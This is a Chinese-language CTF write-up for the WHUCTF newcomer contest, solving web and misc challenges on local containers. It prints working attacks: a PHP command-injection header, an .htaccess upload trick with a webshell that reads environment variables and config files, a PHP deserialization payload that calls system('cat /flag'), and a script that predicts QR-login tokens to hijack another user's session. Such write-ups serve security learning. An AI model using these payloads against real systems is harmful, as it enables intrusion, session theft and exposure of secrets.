WHUCTF新生赛 比上次有进步,但是还是写的很烂,还得加油
web 1.User-Agent 在请求头User-Agent中构造Payload简单绕过一下
1 User-Agent: system ('tac /fla' . 'g' );
在响应体中得到Flag:WHUCTF{KFc_kr42y_thURsDAy_V_Me_5o_N0w_Pl2Zz2zz}
2.井字棋小游戏 发现是一个简单的纯前端小游戏,翻下代码发现棋盘的参数是数组gameBoard,直接在前端控制台修改一下参数gameBoard = [‘X’, ‘X’ , ‘X’ , null , null, null, null ,null null],然后再点击一下棋盘直接获胜,弹出flag,在network里面看一下具体响应,再响应体里面发现flag:
3.apacherrr 一进去发现一大坨文字直接丢给ai解释大致意思是有三个站点uploaderrr.com,whuctf.com和主站点,先分别访问一下(抓包改一下host头)发现whuctf.com访问不了,uploaderrr.com是个文件上传的地方,一开始直接想到文件上传漏洞发现就算绕过了文件名检测也无法执行shell里面的代码,然后卡住了,问了下师傅+提示,在网上搜了一下,https://luokuang1.github.io/2024/07/23/%E6%B5%85%E8%B0%88ctf%E4%B8%AD-htaccess%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E7%9A%84%E8%BF%90%E7%94%A8/ 学习了一下大佬的博客,大概了解到,先上传配置文件让apache把.txt文件当成.php文件来执行文件内容为
1 2 AddType application/x-httpd-php .txt # php_value engine On
然后再上传一个shell.txt文件执行指令,让ai帮写了一下脚本上传文件+扫目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 import requestsimport timeTARGET_IP = "127.0.0.1" TARGET_PORT = 60483 UPLOAD_URL = f"http://{TARGET_IP} :{TARGET_PORT} /upload.php" FLAG_URL = f"http://{TARGET_IP} :{TARGET_PORT} /uploads/phpinfo.txt" def upload_file (filename, content, content_type="text/plain" ): try : files = { 'userfile' : (filename, content, content_type), 'MAX_FILE_SIZE' : (None , '30000' ) } headers = { 'Host' : 'uploaderrr.com' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/133.0.0.0 Safari/537.36' , 'Origin' : f'http://{TARGET_IP} :{TARGET_PORT} ' , 'Referer' : f'http://{TARGET_IP} :{TARGET_PORT} /' } response = requests.post(UPLOAD_URL, files=files, headers=headers, timeout=10 ) if response.status_code == 200 and "successfully uploaded" in response.text: print (f"✅ 成功上传 {filename} " ) return True else : print (f"❌ 上传 {filename} 失败,响应: {response.text[:200 ]} " ) return False except Exception as e: print (f"❌ 上传出错: {str (e)} " ) return False def get_flag (): try : headers = { 'Host' : 'whuctf2025.com' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/133.0.0.0 Safari/537.36' } response = requests.get(FLAG_URL, headers=headers, timeout=(15 , 60 )) if response.status_code == 200 : print ("\n📜 终极全局搜索结果:" ) print (response.text[:15000 ]) import re real_flag = re.search(r'whuctf\{[a-zA-Z0-9_]{8,32}\}' , response.text) if real_flag: print (f"\n🎉 找到终极 Flag: {real_flag.group()} " ) return True else : print (f"❌ 获取结果失败,状态码: {response.status_code} " ) return False except Exception as e: print (f"❌ 访问出错: {str (e)} " ) return False def main (): print ("=== 终极全局搜索:系统级flag挖掘 ===" ) final_search_content = """<?php echo "=== 终极全局搜索flag ==="; echo "<br><br>"; // 1. 搜索所有文件内容含whuctf{(精准匹配,不遗漏) echo "🔍 1. 全系统搜索whuctf{:<br>"; echo shell_exec('grep -r "whuctf{" / --include="*.php" --include="*.txt" --include="*.conf" --include="*.ini" 2>/dev/null | grep -v "proc" | grep -v "sys"'); echo "<br><br>"; // 2. 读取Apache系统级配置文件(最可能藏flag) echo "🔍 2. 读取Apache系统配置:<br>"; $apache_configs = ["/etc/apache2/apache2.conf", "/etc/apache2/sites-available/000-default.conf"]; foreach($apache_configs as $conf) { if(file_exists($conf)) { echo "📄 $conf:<br>"; echo nl2br(shell_exec('grep -E "whuctf|flag" ' . escapeshellarg($conf) . ' 2>/dev/null')); } } echo "<br><br>"; // 3. 读取环境变量(CTF常用藏flag方式) echo "🔍 3. 系统环境变量:<br>"; echo shell_exec('env | grep -i "flag"'); echo "<br><br>"; // 4. 搜索根目录下所有非系统文件(大小10-1000字节,符合flag文件特征) echo "🔍 4. 根目录可疑文件:<br>"; echo shell_exec('find / -size +10c -size -1000c -type f ! -path "/proc/*" ! -path "/sys/*" ! -path "/usr/*" ! -path "/lib/*" 2>/dev/null'); echo "<br><br>"; // 5. 读取/var/log日志(可能记录flag相关操作) echo "🔍 5. 日志文件中的flag:<br>"; echo shell_exec('grep -r "whuctf{" /var/log 2>/dev/null | head -n 5'); ?>""" if not upload_file("phpinfo.txt" , final_search_content): return time.sleep(5 ) get_flag() print ("\n=== 终极搜索完成 ===" ) if __name__ == "__main__" : main()
发现flag在环境变量里面:
4.Guild(赛后解出来的,有点可惜) 因为死磕一道题去了导致这个比较简单的没写出来
主要思路是根据给出的服务器后端代码server.jar文件(不知道是不是我方法不对),对这文件进行java反汇编,找到关键文件UserDetailsServiceImpl用户认证逻辑:
UserDetailsServiceImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package top.jwmc.kuri.guild;import java.util.List;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.security.core.authority.SimpleGrantedAuthority;import org.springframework.security.core.userdetails.User;import org.springframework.security.core.userdetails.UserDetails;import org.springframework.security.core.userdetails.UserDetailsService;import org.springframework.security.core.userdetails.UsernameNotFoundException;import org.springframework.security.crypto.password.PasswordEncoder;import org.springframework.stereotype.Service;@Service public class UserDetailsServiceImpl implements UserDetailsService { public static String USERNAME; public static String PASSWORD; @Autowired PasswordEncoder passwordEncoder; public UserDetails loadUserByUsername (String username) throws UsernameNotFoundException { if (!username.equals(USERNAME)) { throw new UsernameNotFoundException ("User not found" ); } else { String password = this .passwordEncoder.encode(PASSWORD); return new User (username, password, List.of(new SimpleGrantedAuthority ("ADMIN" ), new SimpleGrantedAuthority ("USER" ))); } } }
这个主要是发现用户名和密码是静态的
GuildSecurityconfig:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package top.jwmc.kuri.guild;import org.springframework.security.crypto.password.PasswordEncoder;class GuildSecurityConfig$1 implements PasswordEncoder { final GuildSecurityConfig this $0 ; GuildSecurityConfig$1 (final GuildSecurityConfig this $0 ) { this .this $0 = this $0 ; } public String encode (CharSequence rawPassword) { return String.valueOf(rawPassword.toString().hashCode() % 65536 ); } public boolean matches (CharSequence rawPassword, String encodedPassword) { return String.valueOf(rawPassword.toString().hashCode() % 65536 ).equals(encodedPassword); } }
这个是密码的加密算法是: $$ ( rawpassword->string->hashcode ) mod (65536) $$GuildApplication
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ackage top.jwmc.kuri.guild; import java.util.UUID;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication public class GuildApplication { public static void main (String[] args) { UserDetailsServiceImpl.USERNAME = "admin" ; UserDetailsServiceImpl.PASSWORD = UUID.randomUUID().toString(); SpringApplication.run(GuildApplication.class, args); } }
发现USERNAME = admin 是硬编码,密码是对 UUID 进行的上述加密,现在只需要找到 UUID 即可
GuildMasterController
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package top.jwmc.kuri.guild;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.security.crypto.password.PasswordEncoder;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.GetMapping;@Controller("/") public class GuildMasterController { @Autowired PasswordEncoder passwordEncoder; @GetMapping({"/"}) public String flag (Model model) { model.addAttribute("flag" , System.getenv("GZCTF_FLAG" ) == null ? "flag{fake_test_flag}" : System.getenv("GZCTF_FLAG" )); return "index" ; } @GetMapping({"/secret_r0uter"}) public String leak (Model model) { model.addAttribute("leak" , this .passwordEncoder.encode(UserDetailsServiceImpl.PASSWORD)); return "leak" ; } }
注解中发现路径/secret_r0uter 访问一下可发现动态码(UUID)然后进行上述加密找出加密后的字符串即可登录成功得到flag
5.ezUnser(复现) 代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );$ser_a1 = $_POST ['a' ];$ser_b1 = $_POST ['b' ];$c = $_POST ['c' ];$obj_a1 = unserialize ($ser_a1 );$obj_b1 = unserialize ($ser_b1 );$ser_a2 = serialize (unserialize ($ser_a1 ));$ser_b2 = serialize (unserialize ($ser_b1 ));$obj_a2 = unserialize ($ser_a2 );$obj_b2 = unserialize ($ser_b2 );if (get_class ($obj_a1 ) === get_class ($obj_a2 ) || get_class ($obj_b1 ) === get_class ($obj_b2 )){ die ("Nope" ); } if ($ser_a1 != $ser_a2 && $ser_b1 != $ser_b2 ) { ($obj_a2 ->$c ())($obj_b2 ->$c ()); }
详见序列化和反序列化
题目要求接收 POST 参数a、b、c,并执行以下操作:
对a、b分别反序列化,得到$obj_a1、$obj_b1(第一次反序列化)。
把第一次反序列化的结果重新序列化,再反序列化,得到$obj_a2、$obj_b2(第二次反序列化)。
限制 1 :如果第一次和第二次反序列化得到的对象类名相同(get_class($obj_a1) === get_class($obj_a2) 或 $obj_b1与$obj_b2类名相同),则直接退出(die)。
限制 2 :如果第一次序列化字符串($ser_a1、$ser_b1)与第二次序列化字符串($ser_a2、$ser_b2)不同,则执行:($obj_a2->$c())($obj_b2->$c())(最终目标是让这行代码执行我们想要的命令)
简单说:第一次反序列化得到临时类对象,第二次反序列化会恢复成原始类对象
PHP 的原生异常类(如Error、Exception)有一个公共方法getMessage(),作用是返回构造时传入的字符串。例如:
1 2 $e = new Error ("system" );echo $e ->getMessage ();
构造的序列大致为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 a=O:6 :"Errora" :8 :{ s:10 :"*message" ;s:6 :"system" ; s:13 :"Errorstring" ;s:0 :"" ; s:7 :"*code" ;i:0 ; s:7 :"*file" ;s:1 :"" ; s:7 :"*line" ;i:1 ; s:12 :"Errortrace" ;a:0 :{}; s:15 :"Errorprevious" ;N; s:27 :"__PHP_Incomplete_Class_Name" ;s:5 :"Error" ; } b=O:6 :"Errora" :8 :{ s:10 :"*message" ;s:9 :"cat /flag" ; s:13 :"Errorstring" ;s:0 :"" ; s:7 :"*code" ;i:0 ; s:7 :"*file" ;s:1 :"" ; s:7 :"*line" ;i:1 ; s:12 :"Errortrace" ;a:0 :{}; s:15 :"Errorprevious" ;N; s:27 :"__PHP_Incomplete_Class_Name" ;s:5 :"Error" ; } c=getMessage
第一次序列化是临时类,第二次序列化是Error类并且存在可调用的方法拼接后得到system('cat /flag')
5.Zakologin(复现) 学废了,第一次见这种题目
https://chat.deepseek.com/share/xv68423hevqn02bt22
发现每次发过来二维码的token顺序是固定的
浏览器轮询
通过自己的token预测下一个token即别人的二维码,劫持下一个人的二维码,等待别人扫码登录抢先登进去
开了两次容器脚本持续请求记录的token
构造攻击脚本根据请求得到的token预测下一个token并劫持,抢先登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 import requestsimport hashlibimport timeimport reGET_TOKEN_URL = "http://127.0.0.1:61857/login/qrcode/get" CHECK_TOKEN_URL = "http://127.0.0.1:61857/login/qrcode/check" TARGET_PAGE_URL = "http://127.0.0.1:61857/zakofl4g" HEADERS = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/133.0.0.0" , "Accept" : "application/json, text/html, */*" } def get_my_token (): """自己发送请求,获取当前序列的token(确定N)""" try : response = requests.get(GET_TOKEN_URL, headers=HEADERS, timeout=10 ) data = response.json() my_token = data.get("token" ) if not my_token: print ("❌ 未能获取自己的token,请检查接口" ) exit() print (f"✅ 已获取自己的token: {my_token} " ) return my_token except Exception as e: print (f"❌ 获取自己的token失败:{e} " ) exit() def find_current_num (my_token ): """根据自己的token,反向查找对应的数字N(MD5前16位匹配)""" num = 1 while True : test_token = hashlib.md5(str (num).encode()).hexdigest()[:16 ] if test_token == my_token: print (f"✅ 匹配成功!你的token对应数字:{num} " ) return num if num > 1000 : print ("❌ 未找到匹配的数字,可能生成算法不是MD5(数字)前16位" ) exit() num += 1 def generate_next_token (current_num ): """生成下一个token(N+1的MD5前16位)""" next_num = current_num + 1 next_token = hashlib.md5(str (next_num).encode()).hexdigest()[:16 ] print (f"🎯 预测下一个用户的token(数字{next_num} ): {next_token} " ) return next_token def hijack_next_token (target_token ): """持续轮询目标token,劫持登录状态""" print ("\n🚀 开始劫持,等待用户使用该token..." ) while True : try : response = requests.get( CHECK_TOKEN_URL, params={"token" : target_token}, headers=HEADERS, timeout=5 ) data = response.json() code = data.get("code" ) if code == 1 : final_token = data.get("token" ) print (f"\n🎉 劫持成功!最终登录token: {final_token} " ) extract_flag(final_token) return elif code == 2 : print (f"\n⚠️ 发现用户扫码!等待手机确认..." ) while True : time.sleep(0.3 ) resp = requests.get(CHECK_TOKEN_URL, params={"token" : target_token}, headers=HEADERS) resp_data = resp.json() if resp_data.get("code" ) == 1 : final_token = resp_data.get("token" ) print (f"🎉 用户确认登录!最终token: {final_token} " ) extract_flag(final_token) return elif resp_data.get("code" ) == 3 : print ("⚠️ 用户未确认,二维码过期,继续等待下一个用户..." ) break else : print (f"🔍 等待中... 状态: {data.get('msg' , '未扫码' )} " , end="\r" ) time.sleep(0.5 ) except Exception as e: print (f"\n❌ 请求异常:{e} ,1秒后重试" , end="\r" ) time.sleep(1 ) def extract_flag (final_token ): """自动访问目标页面,提取flag""" print ("\n🔍 开始自动访问目标页面,提取flag..." ) try : params = {"token" : final_token} headers_with_auth = HEADERS.copy() headers_with_auth["Authorization" ] = f"Bearer {final_token} " response = requests.get( TARGET_PAGE_URL, params=params, headers=headers_with_auth, timeout=10 ) response.raise_for_status() flag_pattern = r"flag\{[a-zA-Z0-9_@#$%^&*()\-+=]+\}" match = re.search(flag_pattern, response.text) if match : flag = match .group() print (f"\n🏆 成功提取flag:{flag} " ) return for header_name, header_value in response.headers.items(): if "flag" in header_name.lower() and re.search(flag_pattern, str (header_value)): flag = re.search(flag_pattern, str (header_value)).group() print (f"\n🏆 从响应头提取flag:{flag} " ) return print ("\n⚠️ 未找到标准格式flag,以下是页面内容(可手动搜索flag关键词):" ) print ("-" * 50 ) print (response.text[:2000 ]) print ("-" * 50 ) except Exception as e: print (f"\n❌ 提取flag失败:{e} " ) print (f"💡 建议手动访问:{TARGET_PAGE_URL} ?token={final_token} " ) if __name__ == "__main__" : print ("=" * 50 ) print ("📌 开始执行:自查token → 预测下一个 → 劫持 → 提取flag" ) print ("=" * 50 ) my_token = get_my_token() current_num = find_current_num(my_token) next_token = generate_next_token(current_num) hijack_next_token(next_token)
misc 1.猫咪日记 emoji表情首先想到base100 解密一下得到flag
2.梅林午餐肉 类似Bacon加密 ,把C换成A再Bacon解密一下得到flag
3.01AI-Problem(没接触过) 让ai写一个模型根据modeified_mnist给的数据进行训练简单训练一下给出模型文件mnist_model.pth
大致知道流程了,根据给出的训练数据集训练生成一个模型参数然后再根据这个参数识别图案得到密文:20311369131496163448410746113142281526584940390147578688469508297899856840539896843521565163417523789 然后再让读取一下mnist_cnn_weights.pth 里面的的内容得到:
1 odict_keys(['conv1.weight', 'conv1.bias', 'conv2.weight', 'conv2.bias', 'XOR_KEY_PART2_998244353ISAPRIME.weight', 'XOR_KEY_PART2_998244353ISAPRIME.bias', 'XOR_KEY_PART1_CIALLO0d000721.weight', 'XOR_KEY_PART1_CIALLO0d000721.bias'])
发现是异或解密密钥为CIALLO0d000721998244353ISAPRIME然后把密文转16进制进行异或解密得到flag